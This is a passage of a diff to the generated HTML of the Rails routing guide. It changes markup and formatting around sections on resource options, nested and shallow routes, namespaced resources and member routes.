</div>
<h4 id="_using_only_and_except">3.7.8. Using :only and :except</h4>
-<div class="para"><p>By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune this behavior. The <tt>:only</tt> option specifies that only certain routes should be generated:</p></div>
+<div class="paragraph"><p>By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune this behavior. The <tt>:only</tt> option specifies that only certain routes should be generated:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>index<span style="color: #990000">,</span> <span style="color: #990000">:</span>show<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>With this declaration, a <tt>GET</tt> request to <tt>/photos</tt> would succeed, but a <tt>POST</tt> request to <tt>/photos</tt> (which would ordinarily be routed to the create action) will fail.</p></div>
-<div class="para"><p>The <tt>:except</tt> option specifies a route or list of routes that should <em>not</em> be generated:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>index<span style="color: #990000">,</span> <span style="color: #990000">:</span>show<span style="color: #990000">]</span></tt></pre></div></div>
+<div class="paragraph"><p>With this declaration, a <tt>GET</tt> request to <tt>/photos</tt> would succeed, but a <tt>POST</tt> request to <tt>/photos</tt> (which would ordinarily be routed to the create action) will fail.</p></div>
+<div class="paragraph"><p>The <tt>:except</tt> option specifies a route or list of routes that should <em>not</em> be generated:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>except <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>destroy
-</tt></pre></div></div>
-<div class="para"><p>In this case, all of the normal routes except the route for <tt>destroy</tt> (a <tt>DELETE</tt> request to <tt>/photos/<em>id</em></tt>) will be generated.</p></div>
-<div class="para"><p>In addition to an action or a list of actions, you can also supply the special symbols <tt>:all</tt> or <tt>:none</tt> to the <tt>:only</tt> and <tt>:except</tt> options.</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>except <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>destroy</tt></pre></div></div>
+<div class="paragraph"><p>In this case, all of the normal routes except the route for <tt>destroy</tt> (a <tt>DELETE</tt> request to <tt>/photos/<em>id</em></tt>) will be generated.</p></div>
+<div class="paragraph"><p>In addition to an action or a list of actions, you can also supply the special symbols <tt>:all</tt> or <tt>:none</tt> to the <tt>:only</tt> and <tt>:except</tt> options.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1458,7 +960,7 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h3 id="_nested_resources">3.8. Nested Resources</h3>
-<div class="para"><p>It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:</p></div>
+<div class="paragraph"><p>It&#8217;s common to have resources that are logically children of other resources. For example, suppose your application includes these models:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1470,9 +972,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Ad <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>magazine
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1480,163 +981,83 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:</p></div>
<div class="tableblock">
<table rules="all"
-frame="hsides"
+width="100%"
+frame="border"
cellspacing="0" cellpadding="4">
-<col width="125" />
-<col width="274" />
-<col width="137" />
-<col width="102" />
-<col width="502" />
-<thead>
- <tr>
- <th align="left">
- HTTP verb
- </th>
- <th align="left">
- URL
- </th>
- <th align="left">
- controller
- </th>
- <th align="left">
- action
- </th>
- <th align="left">
- used for
- </th>
- </tr>
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<col width="20%" />
+<thead valign="top">
+<tr>
+<th align="left">HTTP verb </th>
+<th align="left">URL </th>
+<th align="left">controller </th>
+<th align="left">action </th>
+<th align="left">used for</th>
+</tr>
</thead>
<tbody valign="top">
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /magazines/1/ads
- </td>
- <td align="left">
- Ads
- </td>
- <td align="left">
- index
- </td>
- <td align="left">
- display a list of all ads for a specific magazine
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /magazines/1/ads/new
- </td>
- <td align="left">
- Ads
- </td>
- <td align="left">
- new
- </td>
- <td align="left">
- return an HTML form for creating a new ad belonging to a specific magazine
- </td>
- </tr>
- <tr>
- <td align="left">
- POST
- </td>
- <td align="left">
- /magazines/1/ads
- </td>
- <td align="left">
- Ads
- </td>
- <td align="left">
- create
- </td>
- <td align="left">
- create a new ad belonging to a specific magazine
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /magazines/1/ads/1
- </td>
- <td align="left">
- Ads
- </td>
- <td align="left">
- show
- </td>
- <td align="left">
- display a specific ad belonging to a specific magazine
- </td>
- </tr>
- <tr>
- <td align="left">
- GET
- </td>
- <td align="left">
- /magazines/1/ads/1/edit
- </td>
- <td align="left">
- Ads
- </td>
- <td align="left">
- edit
- </td>
- <td align="left">
- return an HTML form for editing an ad belonging to a specific magazine
- </td>
- </tr>
- <tr>
- <td align="left">
- PUT
- </td>
- <td align="left">
- /magazines/1/ads/1
- </td>
- <td align="left">
- Ads
- </td>
- <td align="left">
- update
- </td>
- <td align="left">
- update a specific ad belonging to a specific magazine
- </td>
- </tr>
- <tr>
- <td align="left">
- DELETE
- </td>
- <td align="left">
- /magazines/1/ads/1
- </td>
- <td align="left">
- Ads
- </td>
- <td align="left">
- destroy
- </td>
- <td align="left">
- delete a specific ad belonging to a specific magazine
- </td>
- </tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/magazines/1/ads</p></td>
+<td align="left"><p class="table">Ads</p></td>
+<td align="left"><p class="table">index</p></td>
+<td align="left"><p class="table">display a list of all ads for a specific magazine</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/magazines/1/ads/new</p></td>
+<td align="left"><p class="table">Ads</p></td>
+<td align="left"><p class="table">new</p></td>
+<td align="left"><p class="table">return an HTML form for creating a new ad belonging to a specific magazine</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">POST</p></td>
+<td align="left"><p class="table">/magazines/1/ads</p></td>
+<td align="left"><p class="table">Ads</p></td>
+<td align="left"><p class="table">create</p></td>
+<td align="left"><p class="table">create a new ad belonging to a specific magazine</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/magazines/1/ads/1</p></td>
+<td align="left"><p class="table">Ads</p></td>
+<td align="left"><p class="table">show</p></td>
+<td align="left"><p class="table">display a specific ad belonging to a specific magazine</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">GET</p></td>
+<td align="left"><p class="table">/magazines/1/ads/1/edit</p></td>
+<td align="left"><p class="table">Ads</p></td>
+<td align="left"><p class="table">edit</p></td>
+<td align="left"><p class="table">return an HTML form for editing an ad belonging to a specific magazine</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">PUT</p></td>
+<td align="left"><p class="table">/magazines/1/ads/1</p></td>
+<td align="left"><p class="table">Ads</p></td>
+<td align="left"><p class="table">update</p></td>
+<td align="left"><p class="table">update a specific ad belonging to a specific magazine</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">DELETE</p></td>
+<td align="left"><p class="table">/magazines/1/ads/1</p></td>
+<td align="left"><p class="table">Ads</p></td>
+<td align="left"><p class="table">destroy</p></td>
+<td align="left"><p class="table">delete a specific ad belonging to a specific magazine</p></td>
+</tr>
</tbody>
</table>
</div>
-<div class="para"><p>This will also create routing helpers such as <tt>magazine_ads_url</tt> and <tt>edit_magazine_ad_path</tt>.</p></div>
+<div class="paragraph"><p>This will also create routing helpers such as <tt>magazine_ads_url</tt> and <tt>edit_magazine_ad_path</tt>.</p></div>
<h4 id="_using_name_prefix_2">3.8.1. Using :name_prefix</h4>
-<div class="para"><p>The <tt>:name_prefix</tt> option overrides the automatically-generated prefix in nested route helpers. For example,</p></div>
+<div class="paragraph"><p>The <tt>:name_prefix</tt> option overrides the automatically-generated prefix in nested route helpers. For example,</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1644,9 +1065,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'periodical'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will create routing helpers such as <tt>periodical_ads_url</tt> and <tt>periodical_edit_ad_path</tt>. You can even use <tt>:name_prefix</tt> to suppress the prefix entirely:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will create routing helpers such as <tt>periodical_ads_url</tt> and <tt>periodical_edit_ad_path</tt>. You can even use <tt>:name_prefix</tt> to suppress the prefix entirely:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1654,27 +1074,24 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will create routing helpers such as <tt>ads_url</tt> and <tt>edit_ad_path</tt>. Note that calling these will still require supplying an article id:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will create routing helpers such as <tt>ads_url</tt> and <tt>edit_ad_path</tt>. Note that calling these will still require supplying an article id:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>ads_url<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">)</span>
-edit_ad_path<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">,</span> <span style="color: #009900">@ad</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+edit_ad_path<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">,</span> <span style="color: #009900">@ad</span><span style="color: #990000">)</span></tt></pre></div></div>
<h4 id="_using_has_one_and_has_many">3.8.2. Using :has_one and :has_many</h4>
-<div class="para"><p>The <tt>:has_one</tt> and <tt>:has_many</tt> options provide a succinct notation for simple nested routes. Use <tt>:has_one</tt> to nest a singleton resource, or <tt>:has_many</tt> to nest a plural resource:</p></div>
+<div class="paragraph"><p>The <tt>:has_one</tt> and <tt>:has_many</tt> options provide a succinct notation for simple nested routes. Use <tt>:has_one</tt> to nest a singleton resource, or <tt>:has_many</tt> to nest a plural resource:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_one <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photographer<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>publications<span style="color: #990000">,</span> <span style="color: #990000">:</span>versions<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>This has the same effect as this set of declarations:</p></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_one <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photographer<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>publications<span style="color: #990000">,</span> <span style="color: #990000">:</span>versions<span style="color: #990000">]</span></tt></pre></div></div>
+<div class="paragraph"><p>This has the same effect as this set of declarations:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1684,10 +1101,9 @@ http://www.gnu.org/software/src-highlite -->
photo<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>photographer
photo<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publications
photo<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>versions
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h4 id="_limits_to_nesting">3.8.3. Limits to Nesting</h4>
-<div class="para"><p>You can nest resources within other nested resources if you like. For example:</p></div>
+<div class="paragraph"><p>You can nest resources within other nested resources if you like. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1697,17 +1113,16 @@ http://www.gnu.org/software/src-highlite -->
publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>However, without the use of <tt>name_prefix &#8658; nil</tt>, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>However, without the use of <tt>name_prefix =&gt; nil</tt>, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>/publishers/1/magazines/2/photos/3</tt></pre>
</div></div>
-<div class="para"><p>The corresponding route helper would be <tt>publisher_magazine_photo_url</tt>, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular <a href="http://weblog.jamisbuck.org/2007/2/5/nesting-resources">article</a> by Jamis Buck proposes a rule of thumb for good Rails design:</p></div>
-<div class="para"><p><em>Resources should never be nested more than 1 level deep.</em></p></div>
+<div class="paragraph"><p>The corresponding route helper would be <tt>publisher_magazine_photo_url</tt>, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular <a href="http://weblog.jamisbuck.org/2007/2/5/nesting-resources">article</a> by Jamis Buck proposes a rule of thumb for good Rails design:</p></div>
+<div class="paragraph"><p><em>Resources should never be nested more than 1 level deep.</em></p></div>
<h4 id="_shallow_nesting">3.8.4. Shallow Nesting</h4>
-<div class="para"><p>The <tt>:shallow</tt> option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an <tt>:id</tt> parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:</p></div>
+<div class="paragraph"><p>The <tt>:shallow</tt> option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an <tt>:id</tt> parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1717,9 +1132,8 @@ http://www.gnu.org/software/src-highlite -->
publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This will enable recognition of (among others) these routes:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This will enable recognition of (among others) these routes:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>/publishers/1 ==&gt; publisher_path(1)
@@ -1728,16 +1142,15 @@ http://www.gnu.org/software/src-highlite -->
/magazines/2/photos ==&gt; magazines_photos_path(2)
/photos/3 ==&gt; photo_path(3)</tt></pre>
</div></div>
-<div class="para"><p>With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the <tt>:has_one</tt> and <tt>:has_many</tt> options:</p></div>
+<div class="paragraph"><p>With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the <tt>:has_one</tt> and <tt>:has_many</tt> options:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>magazines <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photos <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-</tt></pre></div></div>
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>magazines <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photos <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
<h3 id="_route_generation_from_arrays">3.9. Route Generation from Arrays</h3>
-<div class="para"><p>In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:</p></div>
+<div class="paragraph"><p>In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1745,27 +1158,24 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails will generate helpers such as magazine_ad_path that you can use in building links:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Rails will generate helpers such as magazine_ad_path that you can use in building links:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Another way to refer to the same route is with an array of objects:</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>Another way to refer to the same route is with an array of objects:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= link_to "Ad details", [@magazine, @ad] %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.</p></div>
+<pre><tt><span style="color: #FF0000">&lt;%= link_to "Ad details", [@magazine, @ad] %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.</p></div>
<h3 id="_namespaced_resources">3.10. Namespaced Resources</h3>
-<div class="para"><p>It's possible to do some quite complex things by combining <tt>:path_prefix</tt> and <tt>:name_prefix</tt>. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:</p></div>
+<div class="paragraph"><p>It&#8217;s possible to do some quite complex things by combining <tt>:path_prefix</tt> and <tt>:name_prefix</tt>. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1773,9 +1183,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos'</span>
map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>tags<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photo_tags'</span>
-map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ratings<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photo_ratings'</span>
-</tt></pre></div></div>
-<div class="para"><p>The good news is that if you find yourself using this level of complexity, you can stop. Rails supports <em>namespaced resources</em> to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:</p></div>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ratings<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photo_ratings'</span></tt></pre></div></div>
+<div class="paragraph"><p>The good news is that if you find yourself using this level of complexity, you can stop. Rails supports <em>namespaced resources</em> to make placing resources in their own folder a snap. Here&#8217;s the namespaced version of those same three routes:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1784,57 +1193,51 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>namespace<span style="color: #990000">(:</span>admin<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>admin<span style="color: #990000">|</span>
admin<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span>
<span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>tags<span style="color: #990000">,</span> <span style="color: #990000">:</span>ratings<span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get <tt>admin_photos_url</tt> that expects to find an <tt>Admin::PhotosController</tt> and that matches <tt>admin/photos</tt>, and <tt>admin_photos_ratings_path</tt> that matches <tt>/admin/photos/<em>photo_id</em>/ratings</tt>, expecting to use <tt>Admin::RatingsController</tt>. Even though you're not specifying <tt>path_prefix</tt> explicitly, the routing code will calculate the appropriate <tt>path_prefix</tt> from the route nesting.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you&#8217;ll get <tt>admin_photos_url</tt> that expects to find an <tt>Admin::PhotosController</tt> and that matches <tt>admin/photos</tt>, and <tt>admin_photos_ratings_path</tt> that matches <tt>/admin/photos/<em>photo_id</em>/ratings</tt>, expecting to use <tt>Admin::RatingsController</tt>. Even though you&#8217;re not specifying <tt>path_prefix</tt> explicitly, the routing code will calculate the appropriate <tt>path_prefix</tt> from the route nesting.</p></div>
<h3 id="_adding_more_restful_actions">3.11. Adding More RESTful Actions</h3>
-<div class="para"><p>You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).</p></div>
+<div class="paragraph"><p>You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).</p></div>
<h4 id="_adding_member_routes">3.11.1. Adding Member Routes</h4>
-<div class="para"><p>To add a member route, use the <tt>:member</tt> option:</p></div>
+<div class="paragraph"><p>To add a member route, use the <tt>:member</tt> option:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>preview <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/1/preview</tt> using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a <tt>preview_photo</tt> route helper.</p></div>
